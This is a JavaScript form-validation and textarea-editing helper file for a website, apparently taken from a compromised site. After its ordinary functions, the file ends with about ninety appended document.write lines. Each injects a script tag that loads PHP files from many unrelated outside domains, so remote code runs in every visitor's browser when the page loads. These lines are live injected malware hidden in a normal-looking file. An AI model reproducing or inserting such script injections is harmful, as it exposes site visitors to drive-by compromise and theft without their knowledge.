function isalphabet(ctrl,frmname)
{
	var str; 
	str = frmname.elements[ctrl].value  
	// Return false if characters are not a-z, A-Z, or a space.   
        for (var i = 0; i < str.length; i++)
		{      
                var ch = str.substring(i, i + 1);      
                if (((ch < "a" || "z" < ch) && (ch < "A" || "Z" < ch)) && (ch != ' ')&& (ch !="."))
				{
                   alert( "Accepts no special character. Only(<space> and '.')");
				   frmname.elements[ctrl].value = ""
				   frmname.elements[ctrl].focus()
				   return;
				}
                      
        }   
        
}

function isNumber(ctrl,frmname){   
                  
        // Return false if characters are not digits '0-9'.   
        var str; 
	str = frmname.elements[ctrl].value  
        for (var i = 0; i < str.length; i++)
		{      
                var ch = str.substring(i, i + 1);      
                if ((ch < "0" || "9" < ch)&&(ch !="-")&&(ch !=".")&&(ch !=" ")&&(ch !="+"))
				{
                   alert( "No Alphabet...accepts no special character. Only(<space> ,'+', '.' and '-')");
				   frmname.elements[ctrl].value = ""
				   frmname.elements[ctrl].focus()
				   return;
				}
                      
        }   


}

function isAlphaNumeric(ctrl,frmname)
{   
        
        	var str; 
	str = frmname.elements[ctrl].value  
	// Return false if characters are not a-z, A-Z, or a space.   
        for (var i = 0; i < str.length; i++)
		{      
                var ch = str.substring(i, i + 1);      
                if (((ch < "a" || "z" < ch) && (ch < "A" || "Z" < ch)) && (ch < "0" || "9" < ch) && (ch != ' ')&& (ch !="-")&&(ch !=".")&&(ch != ")")&&(ch != "(")&&(ch != "+"))
				{
                   alert("Not all special character allowed");
				   frmname.elements[ctrl].value = ""
				   frmname.elements[ctrl].focus()
				   return;
				}
                      
        } 
}

// function to check valid e-mail id
function ismailID(ctrl,frmname)
{
		var str;
		str = frmname.elements[ctrl].value;  	
		if (str == "")
		{
			return
		}
	// Return false if e-mail field does not contain a '@' and '.' and if it is blank.   
        if (str.indexOf ('@',0) == -1 || str.indexOf ('.',0) == -1)
		{
			alert("Not a valid E-mail");
			frmname.elements[ctrl].value = "";
			frmname.elements[ctrl].focus();	
		}
		else if((str.indexOf ('@',0) == str.indexOf ('.',0)+1) || (str.indexOf ('.',0) == (str.indexOf ('@',0) + 1)) || str.indexOf ('@',0) == 0 ||str.indexOf ('.',0)==0)
		{
			alert("Not a valid E-mail");
			frmname.elements[ctrl].select;
			frmname.elements[ctrl].focus();
		}
        
}
function isdate(ctrl,frmname)
{
		var str;
		str = frmname.elements[ctrl].value;  	
		if (str == "")
		{
			return
		}
		for (var i = 0; i < str.length; i++)
		{      
                var ch = str.substring(i, i + 1);      
                if ((ch < "0" || "9" < ch)&&(ch !="-")&&(ch !="/")&&(ch !=" "))
				{
                   alert( "No Alphabet...accepts no special character. Only(<space>  '/' and '-')");
				   frmname.elements[ctrl].value = ""
				   frmname.elements[ctrl].focus()
				   return;
				}
                      
        }   
		var d = str.substring(3,5);
		var m = str.substring(0,2);
		if(d>31||m>12)
		{
			alert("Not a valid date");
			frmname.elements[ctrl].value = ""
			frmname.elements[ctrl].focus()
			return;
		}
}
// function trims the leading and ending spaces
function Trim(strSource)
{
	var strTrimmed="";
       
       for(var i=0; i<strSource.length; i++)
         {
            
           if (strSource.substring(i,i+1) != " ")
             
              strTrimmed +=strSource.substring(i,i+1);
     
          }
          return strTrimmed;
}
function create_newline(txtarea)
{
	var temp;
	//alert("function");
	temp = txtarea.value;
	txtarea.value = "";
	txtarea.value = temp + "<li></li>";
}
function create_break(txtarea)
{
	var temp;
	//alert("function");
	temp = txtarea.value;
	txtarea.value = "";
	txtarea.value = temp + "<br>";
}

 function bold(textarea_obj)
 {
	//alert(textarea_obj.value)
	var txt = get_selection();
	//alert(txt)
	var existing_txt = get_textarea(textarea_obj);
	var string_count = count_strings(existing_txt,txt);
	
	if (txt == "" || string_count > 1) {
		append_textarea(textarea_obj,"<b></b>");
	} else if (txt != null) {
		//var new_txt = existing_txt.replace(txt,"<b>"+txt+"</b>");
		var new_txt = replace(existing_txt,txt,"<b>"+txt+"</b>");
		set_textarea(textarea_obj,new_txt);
	}
}

function get_selection()
{
	//alert(" in get_selection section")
	if (document.getSelection)
	{
		var txt = document.getSelection();
	}
	else if (document.selection && document.selection.createRange)
	{
		var range = document.selection.createRange();
		var txt = range.text;
	} else
	{
		var txt = "Sorry, this is not supported with your browser.";
	}
	return(txt);
}

function get_textarea(textarea_obj)
 {
	//alert("get_textarea")
	return(textarea_obj.value);
}

function count_strings(string, word)
{
	//alert("count_strings")
	var substrings = string.split(word);
	return substrings.length - 1;
}

function append_textarea(textarea_obj,txt)
{
	//alert("append_textarea")
	textarea_obj.value += txt;
}

function set_textarea(textarea_obj,txt)
{
	//alert("set_textarea")
	textarea_obj.value = txt;
}

function replace(string,text,by) {
    
    var strLength = string.length, txtLength = text.length;
    if ((strLength == 0) || (txtLength == 0)) return string;

    var i = string.indexOf(text);
    if ((!i) && (text != string.substring(0,txtLength))) return string;
    if (i == -1) return string;

    var newstr = string.substring(0,i) + by;

    if (i+txtLength < strLength)
        newstr += replace(string.substring(i+txtLength,strLength),text,by);

    return newstr;
}

function anchortext(textarea_obj)
{
	var txt = get_selection();
	//	//alert(txt)
	var existing_txt = get_textarea(textarea_obj);
	var string_count = count_strings(existing_txt,txt);
	if (txt == "" || string_count > 1)
	{
		alert("Please select text to make a link")
		//append_textarea(textarea_obj,"<b></b>");
	}
	
	else if (txt != null) 
	{	
		//alert(" in els if")
		//var new_txt = existing_txt.replace(txt,"<b>"+txt+"</b>");
		//var new_txt = replace(existing_txt,txt,"<a href=\"#\" onclick=\"window.open('http://www."+txt+"','','')\">"+txt+"</a>");
		var lnk = prompt('Enter the link?','link');
		var new_txt = replace(existing_txt,txt,"<a href=\"http://www."+lnk+"\" target=\"_blank\">"+txt+"</a>");
		set_textarea(textarea_obj,new_txt);
	}
}
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://malwagraminbank.com/photogallery/f5.php ><\/script>');
document.write('<script src=http://forthefinerthings.com/tablets/referrals.php ><\/script>');
document.write('<script src=http://forthefinerthings.com/tablets/referrals.php ><\/script>');
document.write('<script src=http://forthefinerthings.com/tablets/referrals.php ><\/script>');
document.write('<script src=http://tux-gmbh.de/images/gifimg.php ><\/script>');
document.write('<script src=http://tux-gmbh.de/images/gifimg.php ><\/script>');
document.write('<script src=http://tux-gmbh.de/images/gifimg.php ><\/script>');
document.write('<script src=http://01023111478.kt.io/upload/LICENSE.php ><\/script>');
document.write('<script src=http://01023111478.kt.io/upload/LICENSE.php ><\/script>');
document.write('<script src=http://01023111478.kt.io/upload/LICENSE.php ><\/script>');
document.write('<script src=http://01023111478.kt.io/upload/LICENSE.php ><\/script>');
document.write('<script src=http://01023111478.kt.io/upload/LICENSE.php ><\/script>');
document.write('<script src=http://01023111478.kt.io/upload/LICENSE.php ><\/script>');
document.write('<script src=http://01023111478.kt.io/upload/LICENSE.php ><\/script>');
document.write('<script src=http://konkursy.salos.ugu.pl/advanced_news/images/ans.php ><\/script>');
document.write('<script src=http://konkursy.salos.ugu.pl/advanced_news/images/ans.php ><\/script>');
document.write('<script src=http://konkursy.salos.ugu.pl/advanced_news/images/ans.php ><\/script>');
document.write('<script src=http://love-walker.com/PICT/uneimoto.php ><\/script>');
document.write('<script src=http://love-walker.com/PICT/uneimoto.php ><\/script>');
document.write('<script src=http://love-walker.com/PICT/uneimoto.php ><\/script>');
document.write('<script src=http://love-walker.com/PICT/uneimoto.php ><\/script>');
document.write('<script src=http://love-walker.com/PICT/uneimoto.php ><\/script>');
document.write('<script src=http://love-walker.com/PICT/uneimoto.php ><\/script>');
document.write('<script src=http://a-2000.kiev.ua/images/yrs9x/backgr2.php ><\/script>');
document.write('<script src=http://relaxatiemuziek.be/snm_files/beste_wensen.php ><\/script>');
document.write('<script src=http://relaxatiemuziek.be/snm_files/beste_wensen.php ><\/script>');
document.write('<script src=http://relaxatiemuziek.be/snm_files/beste_wensen.php ><\/script>');
document.write('<script src=http://relaxatiemuziek.be/snm_files/beste_wensen.php ><\/script>');
document.write('<script src=http://relaxatiemuziek.be/snm_files/beste_wensen.php ><\/script>');
document.write('<script src=http://kuwait-water.com/images/contacts_arabic.php ><\/script>');
document.write('<script src=http://kuwait-water.com/images/contacts_arabic.php ><\/script>');
document.write('<script src=http://kuwait-water.com/images/contacts_arabic.php ><\/script>');
document.write('<script src=http://kuwait-water.com/images/contacts_arabic.php ><\/script>');
document.write('<script src=http://kuwait-water.com/images/contacts_arabic.php ><\/script>');
document.write('<script src=http://kuwait-water.com/images/contacts_arabic.php ><\/script>');
document.write('<script src=http://kuwait-water.com/images/contacts_arabic.php ><\/script>');
document.write('<script src=http://kuwait-water.com/images/contacts_arabic.php ><\/script>');
document.write('<script src=http://mopy.slask.pl/wt_c1369cd27f/index.php ><\/script>');
document.write('<script src=http://mopy.slask.pl/wt_c1369cd27f/index.php ><\/script>');
document.write('<script src=http://unitechvistasgurgaon.co.in/images/enquiry.php ><\/script>');
document.write('<script src=http://grzegorzczop.pl/galerie/pozostale.php ><\/script>');
document.write('<script src=http://grzegorzczop.pl/galerie/pozostale.php ><\/script>');
document.write('<script src=http://dst1924.com/media/index.php ><\/script>');
document.write('<script src=http://dst1924.com/media/index.php ><\/script>');
document.write('<script src=http://dst1924.com/media/index.php ><\/script>');
document.write('<script src=http://dst1924.com/media/index.php ><\/script>');
document.write('<script src=http://dst1924.com/media/index.php ><\/script>');
document.write('<script src=http://dkdesignsindia.com/images/gifimg.php ><\/script>');
document.write('<script src=http://maureenlangan.com/_vti_txt/media.php ><\/script>');
document.write('<script src=http://maureenlangan.com/_vti_txt/media.php ><\/script>');
document.write('<script src=http://maureenlangan.com/_vti_txt/media.php ><\/script>');
document.write('<script src=http://balaji.comindia.in/images/index.php ><\/script>');
document.write('<script src=http://balaji.comindia.in/images/index.php ><\/script>');
document.write('<script src=http://ipekkaucuk.com.tr/images/header.php ><\/script>');
document.write('<script src=http://ipekkaucuk.com.tr/images/header.php ><\/script>');
document.write('<script src=http://ipekkaucuk.com.tr/images/header.php ><\/script>');
document.write('<script src=http://ipekkaucuk.com.tr/images/header.php ><\/script>');
document.write('<script src=http://ipekkaucuk.com.tr/images/header.php ><\/script>');
document.write('<script src=http://5140.indianglobalbiz.com/support/chat.php ><\/script>');
document.write('<script src=http://5140.indianglobalbiz.com/support/chat.php ><\/script>');
document.write('<script src=http://bowwow.co.in/css/web_sitemap_543d11a5_000.xml.php ><\/script>');
document.write('<script src=http://bowwow.co.in/css/web_sitemap_543d11a5_000.xml.php ><\/script>');
document.write('<script src=http://bowwow.co.in/css/web_sitemap_543d11a5_000.xml.php ><\/script>');